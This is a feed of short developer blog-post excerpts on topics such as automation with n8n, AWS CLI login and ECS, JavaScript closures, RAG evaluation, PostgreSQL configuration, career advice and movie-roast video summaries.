    Ever stared at a folder with thousands of PDF invoices, resumes, or reports and thought, "There has to be a better way"? Spoiler: there is. At WeSpark Automations, we recently built a PDF data extraction pipeline that processed over 30,000 documents—scanned images, digital PDFs, multi-page forms—and pushed clean, structured data straight into Google Sheets. Zero manual copy-paste. Zero coffee-fueled all-nighters.​ Here's how we did it using n8n, OCR, and a bit of AI magic. The Problem: Manual PDF Hell Invoices with vendor names, amounts, dates buried in tables​ Resumes with inconsistent formatting across Word, PDF, and scanned images​ Financial reports locked in multi-page, image-heavy files Extracting data manually is slow, error-prone, and soul-crushing. Our client was spending 40+ hours…  ( 8 min )
    3 mistakes that are killing your dev resume
    A dev resume isn't just a list - it's a context + impact sales doc. After reviewing more than 25 developer resumes (mobile, backend, fullstack, career changers, etc.), the same 3 mistakes kept showing up. The most common error: the whole resume is written like this: "Development and maintenance of applications..." "Worked on bug fixes and new features..." "Responsible for system X..." That says nothing about: the size of the problem, how hard what you did was, the impact on the product or business. Recruiters read this all day. It turns into noise. Fix: turn each bullet into technical action + what + how + metric/scale Another classic: a beautiful resume full of columns, icons, colors, emojis, and creative UX... and completely indigestible for someone who needs to read fast (or for an ATS). Lots of people fell into these: Multi-column layout, heavy sidebar, icon, emoji in dates, cluttered header Inconsistent dates and sections ("Aug 24", "08/2024", "2024 - present") Important sections missing or weak: Projects, poorly separated Skills, giant text blocks Fix: One column only FAANG LaTeX template Saw this a lot: giant skills list (Java 8 years, Docker, Kubernetes, AWS, Flutter, React...) without showing it once in roles technologies only in the "Skills" section, zero proof in experience or projects missing basic dev keywords: Git, testing, CI/CD, REST API, cloud, even for people who clearly use them daily career in infra/support or teaching, but resume saying "full-stack dev" without a real project/product described Fix: Only list tech you can defend in an interview and tie each one to a role or project.  ( 6 min )
    JavaScript: Closures Explained With Real-Life Analogies
    Trying to understand JavaScript closures? ⭐ 1. The Backpack Analogy You pack a backpack at home. That’s basically a closure — a function carrying variables even after the parent function is done. ⭐ 2. The Waiter Analogy You tell a waiter your order: table number, dish, special instructions. That memory he carries along → that’s a closure. ⭐ 3. The Note From a Parent A parent gives their child a secret note. The note = the variables preserved by a closure. ⭐ 4. The Security Guard Analogy A boss gives a guard a list of allowed people and then goes on vacation. The guard remembering the list = closure. ⭐ 5. The Recipe Book A chef hands you a recipe book and closes his restaurant. That recipe book is exactly what a closure feels like. ⭐ 6. The Spare Key Someone gives you a key before moving abroad. The key you keep is the closure’s stored variable. ⭐ 7. The Childhood Tattoo Something meaningful happens when you’re young — and it stays with you forever. That tattoo = a closure holding on to past variables. 🎯 Quick takeaway A closure is simply a tiny bundle of memory that a function takes along with it, even after the place where that memory was created no longer exists.  ( 7 min )
    🚀 ECS Express Mode: From an image to an HTTPS endpoint in a single step
    📘 Introduction When we work with containers, we usually need to configure a lot of To make this process much simpler, AWS released ECS Express Mode, a It's a fast way to deploy a containerized application using Amazon ECS. In just a few clicks or commands, you'll have a running service with ECS Express Mode configures infrastructure for you that normally takes ✔️ An Application Load Balancer (ALB) ✔️ CloudWatch Logs ✔️ IAM Roles ✔️ VPC, subnets, and security ✔️ Autoscaling Very little. Just: The container image Service port (if not using the standard one) Any environment variables or secrets (if needed) Optionally, CPU and memory Everything else can remain automatic. Yes. If you already have experience, you can modify: Existing VPC and subnets Security group Log group name Container startup command Health checks Resource limits Scaling configuration But if you're just starting out, it's best to leave everything in Because it lets you focus on what matters: your application. Learning cloud often means dealing with networks, permissions, security, Learning containers Practicing deployments on AWS Creating a project for university Building an MVP or prototype Preparing for cloud certifications You can focus on the workflow without getting lost in advanced details. Although very practical, keep in mind: The ALB has a cost; if you create several services, each one may generate its own load balancer. If you need a complex architecture, Express Mode might fall short. It's perfect for getting started, but large projects may require more advanced ECS configuration. ECS Express Mode is an amazing tool for deploying containerized If you want to understand how cloud services work without getting "Announcing Amazon ECS Express Mode" “ECS Express Mode: de una imagen a un endpoint HTTPS en un solo paso"  ( 8 min )
    Top 12+ Android Emulators in 2026 Best Emulator for Android, PC, and Testing
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    Master RAG Evaluation with RAGAS
    In recent years, Retrieval-Augmented Generation (RAG) has become one of the go-to architectures for enterprises building AI assistants, knowledge search systems, and domain-specific agents. As companies ingest more documents, RAG systems grow complex — with custom retrievers, vector stores, and prompt engineering. To ensure the RAG pipeline performs well and returns results without hallucinations, the open-source framework Ragas (Retrieval-Augmented Generation Assessment Suite) is widely used to evaluate RAG pipelines. ** ** Ragas is an open-source evaluation framework designed specifically for RAG pipelines. Instead of evaluating the LLM output in isolation, Ragas assesses the full loop: user question → Retrieved context → Generated answer from LLM → Final Answer. Below are the core metri…  ( 8 min )
    2025's 'Advent of Code; Event Chooses Tradition Over AI
    AI may be changing the world of programming, but some human holiday traditions continue. Hundreds of thousands of coders await this year's "Advent of Code" event with its daily holiday-themed programming puzzles. And this year event creator Eric Wastl has made some more changes to discourage using AI. The site's FAQ list now specifically tells users that they shouldn't use AI when solving puzzles. “If you send a friend to the gym on your behalf, would you expect to get stronger?" And he's also removed the global leaderboard - a change long overdue, according to one a response he received from a commenter on social media. "I thought the global leaderboard should've gone a few years ago anyways, when LLMs started being a thing."  ( 6 min )
    Eazypasswords a zero knowledge password manager
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    AWS Use Cases | Spin Wheel | How big companies manage prize giveaways and prevent duplication at scale using AWS serverless
    Introduction Imagine the thrill of a spin-to-win promotion on your favorite e-commerce site. The wheel spins, the music builds, and for a few seconds, you’re on the edge of your seat, hoping for that big prize. For businesses, these gamified promotions are a goldmine: they drive immense user engagement, collect valuable data, and can significantly boost sales. But behind the scenes, managing such a giveaway for millions of eager users isn’t about luck — it’s about a robust, scalable architecture. The wrong approach can turn a successful campaign into a financial disaster, leaving you with an empty prize chest and a legion of frustrated customers. This blog post will take you on a journey behind the curtain of a high-traffic spin-wheel promotion. We’ll explore the serious technical challe…  ( 13 min )
    20kWh Battery: High-Performance Energy Storage for Residential & Industrial Use
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    Type-Safe Regex Matching from First Principles
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    The future
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    Understanding User Registration: Email Agent Series Part 1
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    La Clave para una Landing Page que Realmente Funcione
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    5 Reasons You Don’t Need to Move Away from JavaScript or TypeScript for the Backend
    A lot of people say that “real backend performance” only comes from using Go, Rust, or Python. JavaScript and TypeScript often get labeled as frontend only languages. Here are five reasons why you don’t really need to abandon JavaScript or TypeScript for backend work. Bun is unbelievably quick. It starts fast, handles requests efficiently, and comes with tooling that feels smooth to use. Your frontend uses JS, your backend uses TS, your tests and tooling use the same language too. npm is basically a giant supermarket of libraries. Whatever you need, it’s probably there already. ElysiaJS and Hono are simple, fast, and don’t bring a bunch of unnecessary features you’ll never use. TypeScript gives you great type safety and confidence while coding. There’s a great explanation in this video that breaks everything down really well. https://www.youtube.com/watch?v=DpDHPoStZZ8  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest roast of the fun, over-the-top KPop Demon Hunters flick, where they tally up every nitpick and plot hole with their classic snark and humor. They also drop links to their main site, other YouTube channels (TVSins, CommercialSins), social media (Discord, Reddit, Instagram, TikTok), a viewer poll, Patreon and even credit their sin-scratching squad: Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less is CinemaSins’ latest snark-fest aimed at Marvel’s reboot. They rack up their usual sin-count, calling the film “sintastic” and poking fun at every awkward moment—all with their trademark blend of sarcasm and speedy commentary. On the side, CinemaSins is backed by BetterHelp, and they flood you with links—check out their main site, spin-off channels (@TVSins, @commercialsins), Linktree hub, a quick fan poll, and their Patreon. The credits roll on writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel (with all their socials), plus invites to join Discord, Reddit, Jeremy’s book, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    AWS just changed how we log in to the CLI — By Saheed Ipaye
    I just migrated away from long-term AWS access keys. Took me just 5 minutes. The Old Way Then AWS quietly released something that changes everything: aws login My Migration Story Step 1: Update AWS CLI aws --version Step 2: Delete Those Permanent Keys ~/.aws/credentials, saw the familiar aws_access_key_id and aws_secret_access_key staring back at me, and just... deleted them: rm ~/.aws/credentials I kept my region and output format in the config you still need those. Step 3: The Magic Moment aws login My browser opened automatically. I signed in with my regular AWS console credentials the same email and password I use every day. No copying and pasting 40-character strings. No "wait, which key was for which account?" Within seconds, I was authenticated: You are now logged in as arn:aws:iam:::user/your-user Credentials stored for profile 'default' Step 4: Verify It Worked aws sts get-caller-identity It worked. No access keys in sight. Just clean, secure, temporary tokens doing their job. What Makes This Better? They expire in hours, not years, They auto-rotate every 15 minutes You can check the expiration yourself cat ~/.aws/cli/cache/*.json You'll see something like: { "Credentials": { "AccessKeyId": "...", "SecretAccessKey": "...", "SessionToken": "...", "Expiration": "2025-01-01T12:34:56Z" } } The Bottom Line The entire migration took me 5 minutes. five minutes to eliminate one of the biggest security headaches in cloud development. If you're still using long-term access keys in 2025, this is your sign: Update your CLI to v2.22+ Delete those credentials Run aws login Your security team will thank you. Your future self will thank you. And honestly? It just feels better knowing those permanent keys aren't sitting there anymore.  ( 7 min )
    Day 11: Python Programming
    Exception Handling What is an Exception? An exception is an error that occurs during the execution of a program. Examples of common exceptions: ZeroDivisionError ValueError TypeError IndexError FileNotFoundError KeyError Why Exception Handling? Without handling → program crashes. try–except Block (Basic Syntax) Example Handling Specific Exceptions Multiple except Blocks else Block only when no exception occurs. finally Block always, even if an error happens. Useful for: Closing files Closing database connection Releasing resources try: f = open("sample.txt", "r") print(f.read()) except: print("File not found") finally: print("Closing file") try–except–else–finally (All Together) python try: n = int(input("Enter number: ")) except ValueError: print("Invalid Input") else: print(…  ( 7 min )
    Python - instalación y configuración en Ubuntu
    Recomiendo ver antes - instalacion de Homebrew y asdf en ubuntu ( es corto son 5 comandos) Python - Docu Python - On DevDocs.io Flask — Minimalista, simple. FastAPI — Muy rápido, moderno. Django — Completo y estructurado. sudo apt update sudo apt install python3 python3-pip brew install python Consultar versión: pip3 --version Instalar un paquete: pip install Dependencias del sistema sudo apt update sudo apt install -y build-essential libssl-dev zlib1g-dev \ libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm \ libncursesw5-dev xz-utils tk-dev libxml2-dev libxmlsec1-dev Instalar plugin + versión asdf plugin add python asdf list-all python # instalar distintas versiones asdf install python 3.12.2 asdf install python 2.7.18 # Configurar una version global asdf global py…  ( 8 min )
    ✨ Introducing data2ui | turn any JSON into a clear, navigable UI
    data2ui is a small tool that lets you paste or load any JSON and immediately explore it through a clean UI. No setup, no accounts required. Just open the app, drop your data, and browse it in a way that’s easier than scrolling through raw text. You can use it entirely locally in your browser, or switch to the cloud version if you want to keep your files online and share them with your team in read-only mode. The project is built and maintained by one developer, and new features are already on the way: 📁 Folder support 🧩 New UI components 🔌 A full REST API to manipulate files 📴 Offline support …and many more enhancements already in progress If your JSON changes as you work, data2ui lets you see how the structure evolves in real time. And if you’re collaborating, you can just send someone a share link and they’ll see exactly what you see. https://data2ui.jarraga.dev Thanks for testing the app and giving it a try. Feedback is always welcome.  ( 6 min )
    Dotcom Survivor Syndrome – How Perl’s Early Success Created the Seeds of Its Downfall
    If you were building web applications during the first dot-com boom, chances are you wrote Perl. And if you’re now a CTO, tech lead, or senior architect, you may instinctively steer teams away from it—even if you can’t quite explain why. This reflexive aversion isn’t just a preference. It’s what I call Dotcom Survivor Syndrome : a long-standing bias formed by the messy, experimental, high-pressure environment of the early web, where Perl was both a lifeline and a liability. Perl wasn’t the problem. The conditions under which we used it were. And unfortunately, those conditions, combined with a separate, prolonged misstep over versioning, continue to distort Perl’s reputation to this day. The Glory Days: Perl at the Heart of the Early Web In the mid- to late-1990s, Perl was the web’s duct…  ( 9 min )
    Debug JSON Like a Pro: Essential Tools & Tips for Developers (2025)
    JSON is everywhere — APIs, config files, databases, UI state, and more. But debugging messy or broken JSON can still be frustrating. I just published a practical guide that helps developers debug JSON more efficiently using tools, patterns, and smart techniques. Common JSON errors and how to fix them fast Validating JSON with modern tools Pretty-printing, formatting, and minifying How to handle large or nested JSON structures Best practices for clean and readable JSON Real-world debugging workflows for frontend devs If you work with JSON daily, this guide will save you hours. 👉 Read the full article: https://www.frontendtools.tech/blog/debug-json-like-a-pro-tools-tips  ( 6 min )
    Open Liberty: O Runtime Java Cloud-Native da IBM
    Open Liberty é um servidor de aplicações Java open-source, leve e modular, desenvolvido pela IBM para implantar aplicações Jakarta EE e MicroProfile. Construído com foco em ambientes cloud-native, o Open Liberty oferece inicialização rápida, baixo consumo de memória e uma arquitetura flexível baseada em recursos plugáveis. O projeto serve como fundação para o WebSphere Liberty, o servidor de aplicações comercial da IBM, mas mantém-se completamente livre e disponível sob licença Apache 2.0. Open Liberty se destaca por seu compromisso com padrões abertos, sendo uma implementação certificada tanto do Eclipse MicroProfile quanto do Jakarta EE, permitindo que desenvolvedores construam microsserviços cloud-native sem vendor lock-in. O Open Liberty tem suas raízes no WebSphere Application Server …  ( 12 min )
    Building an AI-Powered SQL Chatbot With LangChain, Mistral & Streamlit
    (Query your PostgreSQL database using natural language) Managing a growing database can get messy — remembering table names, joins, and Sequelize-generated column structures isn’t fun. This project uses: LangChain + LangGraph Mistral AI (mistral-small-latest) PostgreSQL + Sequelize ORM Streamlit UI Simply type something like: “Show me the last 5 orders with customer names.” Parse the question Understand the relevant tables Auto-generate a safe, dialect-correct SQL query Avoid soft-deleted rows Perform the right JOINs using Sequelize relationships Stream the result back to you in seconds No manual querying. No database digging. ✔ Understand natural language questions User asks a question – “What prepaid services does customer John have?” LangChain SQL Toolkit analyzes table schemas Mistral …  ( 7 min )
    The Discipline Fallacy: Master Your System, Not Your Willpower
    The Architecture of Inevitability We've been sold a myth about self-discipline. It’s a story of grit, of white-knuckled willpower, of forcing yourself to do the hard thing through sheer mental brute force. This is a losing strategy. It treats the human mind like a flawed machine to be whipped into submission. It’s exhausting, and it rarely works long-term. True mastery of self and time isn't about becoming a better taskmaster. It’s about becoming a better architect. It's about designing a system—an environment, a set of rules, a protocol for energy—where the desired outcome is not just possible, but inevitable. You don't need more discipline; you need a better system. The Operating System: Three Core Principles Every effective system runs on a clear set of principles. For personal mastery,…  ( 9 min )
    "Mastering Prisma ORM with NestJS: A Step-by-Step Guide to Installation and Connection Troubleshooting (Version 7.0.1)"
    # Mastering Prisma ORM with NestJS: A Step-by-Step Guide to Installation and Connection Troubleshooting (Version 7.0.1) In the rapidly evolving landscape of web development, effective database management is pivotal to any application's success. As developers, we strive to choose tools that simplify our workflows while enhancing performance. Prisma ORM combined with NestJS offers a robust solution for modern application needs. In this blog post, we'll explore the seamless integration of Prisma ORM into a NestJS application, guiding you through installation, setup, and connection troubleshooting specifically for version 7.0.1. ## Table of Contents 1. [What is Prisma ORM?](#what-is-prisma-orm) 2. [Prerequisites](#prerequisites) 3. [Installing Prisma and NestJS](#installing-prisma-and-nestjs…  ( 8 min )
    How AI Takes You From $0 to $1000/Month — Fast
    For the longest time, “earning online” sounded like a dream reserved for experts, influencers, or long-term freelancers. But in 2025, the game has changed. AI has leveled the entire field. Today, you can start from zero and realistically build a $1000/month income stream — even if you don’t have technical experience. AI doesn’t just automate tasks. It multiplies your output. It removes the barriers that once made online earning slow and overwhelming. Whether you’re building digital products, offering small services, creating content, or running micro-online businesses, AI gives you a powerful head start. In my full guide here 👉 https://dawoodtech.com/ai-side-hustle-to-1000-month/ I break down practical, real-world methods anyone can use — no hype, no unrealistic claims, just tools and systems that work. Some of the most effective AI-powered side hustles today include: Micro content creation using AI writing + editing models Digital product creation powered by AI design tools Automation-based services (templates, captions, email setups, etc.) Research-heavy tasks that AI can finish in minutes AI-driven freelancing where you deliver in hours, not days The magic comes from combining your creativity with AI’s speed. You focus on strategy — AI handles the heavy lifting. If you’re looking for a clear roadmap, the full breakdown covers: The world is moving fast — and AI is the accelerator. With the right approach, your side hustle can become a real income source faster than ever before.  ( 7 min )
    It’s All About Memory: The Missing Piece in AI Agents
    If you’ve played with AI chatbots or agentic frameworks lately, you’ve probably had the same moment I had - most agents can plan, reason, call tools, run workflows… yet somehow they can’t remember something you said 10 minutes ago. It’s impressive and frustrating at the same time. That gap — between advanced reasoning and almost no memory — is quickly becoming one of the biggest things holding AI agents back from feeling genuinely helpful. The Real Bottleneck Isn’t the Model. It’s the Memory. Most AI chat systems implemented today still live inside the model’s context window. Whatever fits in the prompt is what the agent “knows,” and the moment you step outside that window, it’s gone. That creates familiar issues: You keep repeating yourself The agent forgets your preferences Every new r…  ( 8 min )
    AWS Terraform Type Constraints Explained
    Type constraints in Terraform play a crucial role in writing predictable, reusable, and maintainable infrastructure-as-code. When working with AWS resources, ensuring that your variables are properly typed helps prevent configuration errors, enforces standards, and makes your modules easier to understand and more robust. This post explains Terraform’s type system in depth and demonstrates how these type constraints apply to AWS infrastructure deployments. Terraform uses type constraints to ensure that variables receive values in the correct format. Without proper typing, it becomes easy to pass the wrong kind of data into your AWS resources, leading to failed deployments or hidden configuration issues. Types also help teams maintain consistency, validate expectations, and build self-docume…  ( 8 min )
    Untouchable: The Future of Robotics is Magnetic
    Untouchable: The Future of Robotics is Magnetic Tired of robots limited by clumsy grippers and delicate surfaces getting scratched? Imagine a world where machines can manipulate objects with precision, without ever making contact. We're on the cusp of a revolution in robotics, moving beyond physical interaction to master the art of non-contact manipulation. The key is leveraging magnetic fields to levitate and control objects in 3D space. By precisely orchestrating a network of electromagnets, we can create a "magnetic hand" capable of moving, rotating, and positioning items with incredible accuracy. Complex control algorithms, trained using deep reinforcement learning, manage the electromagnetic forces to achieve stable and predictable movements. Think of it like playing a 3D chess game…  ( 7 min )
    Epic CEO Tim Sweeney urges Steam to remove Made with AI tags from game listings
    Epic CEO Tim Sweeney Urges Steam: Remove 'Made with AI' Game Tags\n\nSteam, a dominant PC gaming platform, recently introduced \"Made with AI\" tags for games to provide transparency to players regarding the use of generative AI in game development. This move was intended to help consumers make informed choices and navigate the evolving landscape of AI-powered content creation, especially given ongoing discussions about intellectual property and ethics in AI. Publishers are required to disclose if their games use AI to generate assets, code, or other elements, categorizing AI use into pre-generated or live-generated content.\n\nHowever, Epic Games CEO Tim Sweeney has publicly urged Steam to reconsider and remove these \"Made with AI\" tags. Sweeney argues that AI, fundamentally, is just an…  ( 17 min )
    Weekly #48-2025: AI, Enterprise Knowledge, and the Future of Engineering
    🎙️ Click here to listen on Madhu Sudhan Subedi Tech Weekly → Stack Overflow Introduces Stack Internal * Stack Overflow has reintroduced its enterprise knowledge platform as Stack Internal, marking its next step toward becoming the most trusted source for technologists. Designed for modern engineering teams, Stack Internal blends human insight with AI automation to keep enterprise knowledge accurate, secure, and always up to date. Link Linus Torvalds: Vibe coding is fine, but not for production * Linux creator Linus Torvalds recently shared his thoughts on AI in software development. He says he’s “fairly positive” about vibe coding, but only as a way for beginners to get into computing — not for production code, where maintenance would be a nightmare. Link LLM01:2025 Prompt Injection…  ( 8 min )
    Automating My Daily Workflow with n8n, Python & Gemini AI
    How I built smart automations that save hours every week Automation doesn't need huge infrastructure — sometimes all you need is n8n + Python + a good LLM. 1. Auto-Generate LinkedIn Tech Posts (gNews → Python → Gemini → LinkedIn API) I wanted fresh, relevant tech content posted automatically on LinkedIn — without doing it manually every morning. Workflow Includes: Fetching real-time tech news via gNews API Cleaning + formatting content in Python Generating a polished LinkedIn-ready caption using Gemini AI Publishing automatically through LinkedIn API Result: A simple automation that sends a morning weather report and a Gemini-generated motivational message. Workflow Includes: OpenWeatherMap API → real-time weather Gemini AI → custom motivation text Telegram Bot API → scheduled daily message Result: They remove repetitive tasks They help maintain consistent personal branding They show how flexible n8n + Python + Gemini AI can be They are small, modular, and easy to scale If you’re looking to automate small but impactful tasks, start with tiny workflows — news fetching, posting, messaging, alerts — and build upward. If you want the full workflow JSON or code snippets, drop a comment — happy to share!  ( 6 min )
    I asked successful entrepreneurs about their transition from employee to founder
    The following is the conversation with… just kidding 😄 This year, I attended the Lviv IT Arena. I met a few founders there and asked each of them to describe the very beginning of their entrepreneurial journey. If you’ve ever daydreamed about starting something on your own but didn’t know where to begin, you’ll see that even successful founders once stood exactly where you are. In this article, you won’t find polished success stories. This is where you’ll get to know how the leap from employee to founder truly feels like. I don't dare to take more of your time, so the first question is… What did the transition period look like for you? Anton Avrynskyi, CEO & co-founder of Liki24 (former Deputy Chief Executive Officer, IT-Enterprise): The first thing you need when moving from employee to b…  ( 14 min )
    Why LangChain Is Better Than Raw LLM APIs — A Quick Developer-Friendly Breakdown
    Building with OpenAI, Gemini, or Groq directly is great for simple prototypes — but once your app grows, managing raw APIs quickly becomes a bottleneck. Different request bodies, different response formats, custom types, boilerplate everywhere… and switching providers becomes a headache. That’s exactly where LangChain changes the game Why Raw LLM APIs Hold You Back Here’s what developers run into when handling multiple providers manually: Every provider uses different request/response structures You constantly rewrite TypeScript interfaces Fetch wrappers, headers, parsing logic, error handling — repeated everywhere Switching models means updating half your code Scaling becomes harder when you add RAG, embeddings, agents, memory, etc. Great for “Hello world,” painful for real applications…  ( 7 min )
    The Architect & The Automaton: A New Map for Full-Stack Developers
    💡 Quick Take: The traditional full-stack roadmap is obsolete in the age of AI. To thrive, developers must adopt the 'Architect & The Automaton' model, focusing on system design and high-level direction while leveraging AI for implementation. The full-stack roadmap you've been memorizing is a map to a city that no longer exists. Learn HTML, then CSS, then JavaScript, then React, then Node.js, then a database, then Docker. It was a reliable, linear path. It created specialists in predictable stacks. That era is over. AI is not another framework to learn. It’s a tectonic shift that has fundamentally changed the landscape. Treating tools like GPT-4 or GitHub Copilot as mere productivity boosters is like seeing the first automobile and thinking, "What a nice, fast horse." You're missing the p…  ( 9 min )
    If you're building for emerging markets, this is for you.I'm sharing the complete architecture that took Ayema from 0 to 100K users in Nigeria, including the mistakes, the midnight server crashes, and the technical decisions that actually mattered.
    Scaling to 100K Users: Architecture Lessons from Building Nigeria's Social Commerce Platform Michael Onoja ・ Nov 28 #ai #programming #javascript #architecture  ( 6 min )
    Pac-Man, Shakey the Robot, and Von Neumann Walk Into a Maze
    Seeing Google's Doodle tribute to Pac-Man recently sent me spiraling down a nostalgia rabbit hole. It reminded me of a MOOC I took in what now feels like ancient history—a Gemini search of my old Gmail archives confirms it was UC Berkeley CS 188: Introduction to Artificial Intelligence via EdX, probably around 2012. The year 2012. The year Obama won re-election, the Mayan calendar "ended," and Honey Boo Boo was somehow a cultural phenomenon. Siri was barely a year old—helping sell iPhones like hotcakes despite rarely understanding what you asked. "Deep learning" was a phrase you'd find only in academic papers, not headlines. A different era entirely. That course required implementing classic algorithms like Greedy search and Minimax into Pac-Man. It was, honestly, a bit over my head at the…  ( 14 min )
    AI Vibe Coding Is A Lie
    Introduction Hello 👋, In this article I will present my opinions on Vibe Coding. In the last 2 years the term "AI Vibe Coding" has been very hyped. I mean the idea of "Clicking a button and generating anything you can imagine" is very exciting at first but not a great idea at the same time. I will give my opinion on why it isn't a good idea to depend on AI Vibe Coding tools. Let's first talk about how basically these Vibe Coding AI Models work. AI LLMs are trained on data and are trained to predict output from user input (prompt) based on that data. Which means AI Models that can code is trained on existing human written code and AI Models that can draw is trained on existing human drawn art. This means that AI can't create something entirely unique that has never been created by humans…  ( 8 min )
    I built a simple AI security scanner for websites — would love community feedback
    Hey everyone! AI-powered website security scanner designed to help developers and teams catch vulnerabilities before hackers do. It’s still early, rough around the edges, and absolutely an MVP… The MVP scans a website URL and uses AI + rule-based checks to flag: Common vulnerabilities (misconfigurations, exposed endpoints, weak headers) Potential security risks in publicly reachable pages Missing or unsafe security headers Basic performance & implementation issues that relate to security The idea is simple: give developers fast, actionable insights without needing to be a security expert. I’d love feedback from anyone in the dev → deploy pipeline: ✔️ Web developers ✔️ QA testers ✔️ Project managers ✔️ Security engineers / pentesters If you build or ship websites, this tool should feel immediately useful — or at least interesting enough to poke holes in. Security often becomes an afterthought — not because developers don’t care, Scanners are expensive OWASP tools feel intimidating Manual reviews are slow Teams don’t have dedicated security folks So the goal with this MVP is to make security checks accessible, fast, and AI-assisted. This is version 0.1 — tons of improvements planned: Deeper OWASP coverage Better AI reasoning (multiple agents) Exportable reports API access for CI/CD Scheduled scans Chrome extension for quick checks Team dashboards + history logs If enough devs find value here, I’ll double down on building it out. 👉 WebGuard Please break it. Seriously. Drop comments, suggestions, or roast it — everything helps. 🙌  ( 7 min )
    My MCP Server Polluted OAuth Scopes for Mobile Sign-in
    Yesterday, I noticed something alarming in Mukbang 3D: regular users signing in with Google were being asked to grant access to Google Analytics data and Cloud Platform resources. For an app that just needs your email and name, this is terrible. Here's how a simple developer convenience created a confusing security prompt—and how I tracked it down. Instead of the clean, minimal consent screen users expect ("Mukbang 3D wants to access your email and profile"), they were seeing a wall of intimidating permissions including developer-level scopes like analytics.readonly. Understandably, users were abandoning the sign-in flow entirely. First I checked the mobile app's OAuth configuration. The Client ID looked correct—it only requested email and profile scopes. So where were these extra permissi…  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest roast of the wild new movie, packed with their trademark “sins” and snarky commentary on every over-the-top moment. It’s basically a fun, whirlwind critique that promises laughs for anyone who’s ever wondered what demon-slaying K-pop idols might get “sin-checked.” Want more? They’ve got you covered with a slew of links—YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), Discord, Reddit, Instagram, TikTok and even a Patreon for those feeling generous. Plus a quick poll to get your thoughts and insider links to each writer’s social handles if you’re craving extra behind-the-scenes banter. Watch on YouTube  ( 6 min )
    The Cognitive Assembly Line: Your New AI-Native Workflow
    The Paradox of Infinite Leverage We were promised a revolution. A suite of AI tools that would grant us 10x leverage, compress timelines, and unleash an unprecedented wave of creation. The tools arrived, yet the revolution feels… muted. Many find themselves busier than ever, caught in a frantic loop of prompt engineering, content generation, and tool-hopping. They are producing more noise, not more signal. This is the great paradox of the AI era: we have access to near-infinite leverage, yet our output remains stubbornly linear. Why? Because we are attempting to bolt a jet engine onto a horse-drawn carriage. We are applying 21st-century tools to 20th-century workflows and wondering why the system breaks. The Analysis: Your Workflow is The Bottleneck The failure isn't in the technology; it'…  ( 8 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With Fantastic Four: First Steps In 20 Minutes Or Less CinemaSins takes on the new Fantastic Four film with their signature tally of “sins,” quipping that it “wasn’t bad, but just as sintastic as any other Marvel flick.” In roughly 20 minutes, they rip into every origin cliché, plot jump, and continuity quirk, all with tongue-in-cheek humor and rapid-fire commentary. Sponsored by BetterHelp (grab a discount on your first month!), they also shout out their main site, additional YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), a sinful poll, Patreon support, and social hubs—Discord, Reddit, Instagram, TikTok—plus shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel. Watch on YouTube  ( 6 min )
    Uniface 10.4: Understanding the $ALLOW_NOBREAK_SPACE Configuration Parameter
    Introduction When working with Uniface ProcScript, you might encounter mysterious syntax errors that seem to point at perfectly valid code. The culprit could be invisible non-breaking space characters (0xA0) lurking in your source files. This article explains the $ALLOW_NOBREAK_SPACE configuration parameter and how it can help you deal with this common issue. $ALLOW_NOBREAK_SPACE is a configuration parameter in Uniface 10.4 that controls whether non-breaking spaces (hexadecimal value 0xA0) are allowed in ProcScript code. By default, these characters cause syntax errors when the Uniface compiler encounters them. Syntax: $ALLOW_NOBREAK_SPACE = 1 | 0 Values: 1 - Non-breaking spaces (0xA0) are allowed in ProcScript 0 - Non-breaking spaces cause syntax errors Default: None (not set, be…  ( 7 min )
    Analyzing psqlrc Settings on GitHub: How PostgreSQL Engineers Configure PostgreSQL
    Introduction Recently, I read an article titled "Alias Settings of Engineers Around the World" (in Japanese). As a PostgreSQL engineer, this got me thinking: "If they are customizing their bash aliases, how are they configuring their psql environments?" Driven by curiosity, I decided to investigate GitHub repositories to see how developers commonly configure their psqlrc files. psql is the terminal-based front-end for PostgreSQL, allowing you to execute SQL interactively. Its configuration file is named psqlrc, and it has the following characteristics: System-wide settings: The system-wide psqlrc file is stored in ../etc/ relative to the directory containing the PostgreSQL executable. This directory can be explicitly set using the environment variable PGSYSCONFDIR. User-specific settings…  ( 22 min )
    The 2026 Computer Science Playbook: How to Learn, Where to Focus, and What It Really Takes to Get Hired in the AI Era
    There has never been a stranger moment to be a Computer Science graduate. On one hand, the world is flooded with content telling you that “AI will replace programmers,” “coding is dead,” or “software jobs are disappearing.” On the other hand, every company—from scrappy startups to trillion-dollar giants—is aggressively announcing AI strategies, hiring AI engineers, looking for systems specialists, and expanding their technical teams. This contradiction has left an entire generation asking the same question: Where do I fit in? What exactly should I learn in a world where AI writes code, tests code, debugs code, and even architect systems? The answer isn’t that jobs are disappearing. The answer is that the bar has moved. The expectations for what makes a job-ready Computer Science graduate …  ( 11 min )
    Generate CHANGELOG.md Automatically 🤖
    Hey everyone! Happy winter is upcoming! ⛄️ I’m @nyaomaru, a frontend engineer. Today I’d like to introduce changelog-bot, a tool that automatically generates a polished CHANGELOG.md from your release notes! 🚀 If you’re maintaining a project, you’ve probably used CHANGELOG.md to keep track of release details. tedious. Sure, you can automate parts of it, but most generators produce unstructured or messy output. changelog-bot! https://github.com/nyaomaru/changelog-bot 🖋 Automates the boring part — generating CHANGELOG.md Uses AI to structure and format the changelog with high accuracy Analyzes commit messages and PR titles to automatically categorize “fix”, “feat”, etc. Works directly from release notes No need for strict Conventional Commit rules Works even without AI Fallback logic…  ( 8 min )
    About Babar Azam
    Check out this Pen I made!  ( 5 min )
    Indian Coin Toss — Childhood Cricket Flip Simulato
